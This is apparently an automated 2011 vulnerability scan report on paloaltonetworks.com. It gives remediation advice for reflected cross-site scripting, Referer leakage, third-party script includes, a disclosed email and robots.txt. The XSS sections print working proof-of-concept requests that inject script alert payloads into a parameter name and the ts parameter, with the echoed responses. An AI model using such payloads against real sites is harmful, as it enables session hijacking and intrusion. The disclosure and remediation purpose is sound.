XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.paloaltonetworks, ts parameter

Report generated by XSS.CX at Sat Jul 23 10:06:42 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

1.1. http://www.paloaltonetworks.com/cam/switch/index.php [name of an arbitrarily supplied request parameter]

1.2. http://www.paloaltonetworks.com/cam/switch/index.php [ts parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

4. Email addresses disclosed

5. Robots.txt file

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/cam/switch/index.php [name of an arbitrarily supplied request parameter]
/cam/switch/index.php [ts parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.paloaltonetworks.com/cam/switch/index.php [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.paloaltonetworks.com
Path:	/cam/switch/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdde1"><script>alert(1)</script>3e7c90a48f6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cam/switch/index.php?ts=scmag&bdde1"><script>alert(1)</script>3e7c90a48f6=1 HTTP/1.1
Host: www.paloaltonetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
Cookie: X-Mapping-mkmfjdci=CCDCC4EE41D6AB1FEC3D09C002EBB5F8

Response

HTTP/1.1 200 OK
Server: Apache/2.2
Content-Type: text/html; charset=UTF-8
Date: Fri, 22 Jul 2011 20:15:22 GMT
Connection: Keep-Alive
Content-Length: 8296

<!DOCTYPE html>

<html lang="en">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <meta name="generator" content="Dreamweaver">
   <meta name="author" content="C. W. Miller
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag&bdde1"><script>alert(1)</script>3e7c90a48f6=1" title="Facebook" target="_blank">
...[SNIP]...

1.2. http://www.paloaltonetworks.com/cam/switch/index.php [ts parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.paloaltonetworks.com
Path:	/cam/switch/index.php

Issue detail

The value of the ts request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27e3d"><script>alert(1)</script>1d3ace0c8b0 was submitted in the ts parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cam/switch/index.php?ts=scmag27e3d"><script>alert(1)</script>1d3ace0c8b0 HTTP/1.1
Host: www.paloaltonetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
Cookie: X-Mapping-mkmfjdci=CCDCC4EE41D6AB1FEC3D09C002EBB5F8

Response

HTTP/1.1 200 OK
Server: Apache/2.2
Content-Type: text/html; charset=UTF-8
Date: Fri, 22 Jul 2011 20:15:11 GMT
Connection: Keep-Alive
Content-Length: 8287

<!DOCTYPE html>

<html lang="en">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <meta name="generator" content="Dreamweaver">
   <meta name="author" content="C. W. Miller
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag27e3d"><script>alert(1)</script>1d3ace0c8b0" title="Facebook" target="_blank">
...[SNIP]...

2. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.paloaltonetworks.com
Path:	/cam/switch/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag

The response contains the following links to other domains:

http://ad.retargeter.com/seg?add=58218&t=2
http://paloaltonetworks.etrigue.com/cas/esp/script.asp?id=70554
http://t3.trackalyzer.com/trackalyze.js
http://twitthis.com/twit?url=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag
http://www.facebook.com/sharer.php?u=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag
http://www.google-analytics.com/urchin.js
http://www.linkedin.com/shareArticle?mini=true&url=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /cam/switch/index.php?ts=scmag HTTP/1.1
Host: www.paloaltonetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/
Cookie: X-Mapping-mkmfjdci=CCDCC4EE41D6AB1FEC3D09C002EBB5F8

Response

HTTP/1.1 200 OK
Server: Apache/2.2
Content-Type: text/html; charset=UTF-8
Date: Fri, 22 Jul 2011 20:15:08 GMT
Connection: Keep-Alive
Content-Length: 8158

<!DOCTYPE html>

<html lang="en">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <meta name="generator" content="Dreamweaver">
   <meta name="author" content="C. W. Miller
...[SNIP]...
<li class="fb"><a href="http://www.facebook.com/sharer.php?u=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag" title="Facebook" target="_blank">Facebook</a>
...[SNIP]...
<li class="tw"><a href="http://twitthis.com/twit?url=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag" title="Twitter" target="_blank">Twitter</a>
...[SNIP]...
<li class="lk"><a href="http://www.linkedin.com/shareArticle?mini=true&url=http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag" title="LinkedIn" target="_blank">LinkedIn</a>
...[SNIP]...

   <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</script>
   <script type="text/javascript" language="javascript" src="http://t3.trackalyzer.com/trackalyze.js"></script>

   
   <script language="javascript" type="text/javascript" src="http://paloaltonetworks.etrigue.com/cas/esp/script.asp?id=70554"></script>

   
   <img src="http://ad.retargeter.com/seg?add=58218&t=2" width="1" height="1" />

   
...[SNIP]...

3. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.paloaltonetworks.com
Path:	/cam/switch/index.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://paloaltonetworks.etrigue.com/cas/esp/script.asp?id=70554
http://t3.trackalyzer.com/trackalyze.js
http://www.google-analytics.com/urchin.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

4. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.paloaltonetworks.com
Path:	/js/plugins/jquery.colorbox.js

Issue detail

The following email address was disclosed in the response:

jack@colorpowered.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /js/plugins/jquery.colorbox.js HTTP/1.1
Host: www.paloaltonetworks.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.paloaltonetworks.com/cam/switch/index.php?ts=scmag
Cookie: X-Mapping-mkmfjdci=CCDCC4EE41D6AB1FEC3D09C002EBB5F8

Response

HTTP/1.1 200 OK
Server: Apache/2.2
Content-Type: application/x-javascript
Date: Fri, 22 Jul 2011 20:12:08 GMT
Accept-Ranges: bytes
Last-Modified: Tue, 17 May 2011 19:47:09 GMT
Content-Length: 9020
Connection: Keep-Alive
X-Cache-Info: cached

// ColorBox v1.3.9 - a full featured, light-weight, customizable lightbox based on jQuery 1.3
// c) 2009 Jack Moore - www.colorpowered.com - jack@colorpowered.com
// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
(function(b,gb){var v="none",t="click",N="LoadedContent",d=false,x="resize.",o="y",u="auto",f=true,M="nofollow",q=
...[SNIP]...

5. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.paloaltonetworks.com
Path:	/cam/switch/index.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.paloaltonetworks.com

Response

HTTP/1.1 200 OK
Date: Fri, 22 Jul 2011 20:15:08 GMT
Server: Apache/2.2
Last-Modified: Sat, 30 Apr 2011 00:14:36 GMT
Accept-Ranges: bytes
Content-Length: 352
Connection: close
Content-Type: text/plain; charset=UTF-8

#--------------------------------
User-agent: *
Disallow: /cgi-bin # no programs
Disallow: /js/
Disallow: /flash/
Disallow: /*.pdf$
Disallow: /css/
Disallow: /images/cam/
Disallow: /images/tabs/
Disal
...[SNIP]...

Report generated by XSS.CX at Sat Jul 23 10:06:42 CDT 2011.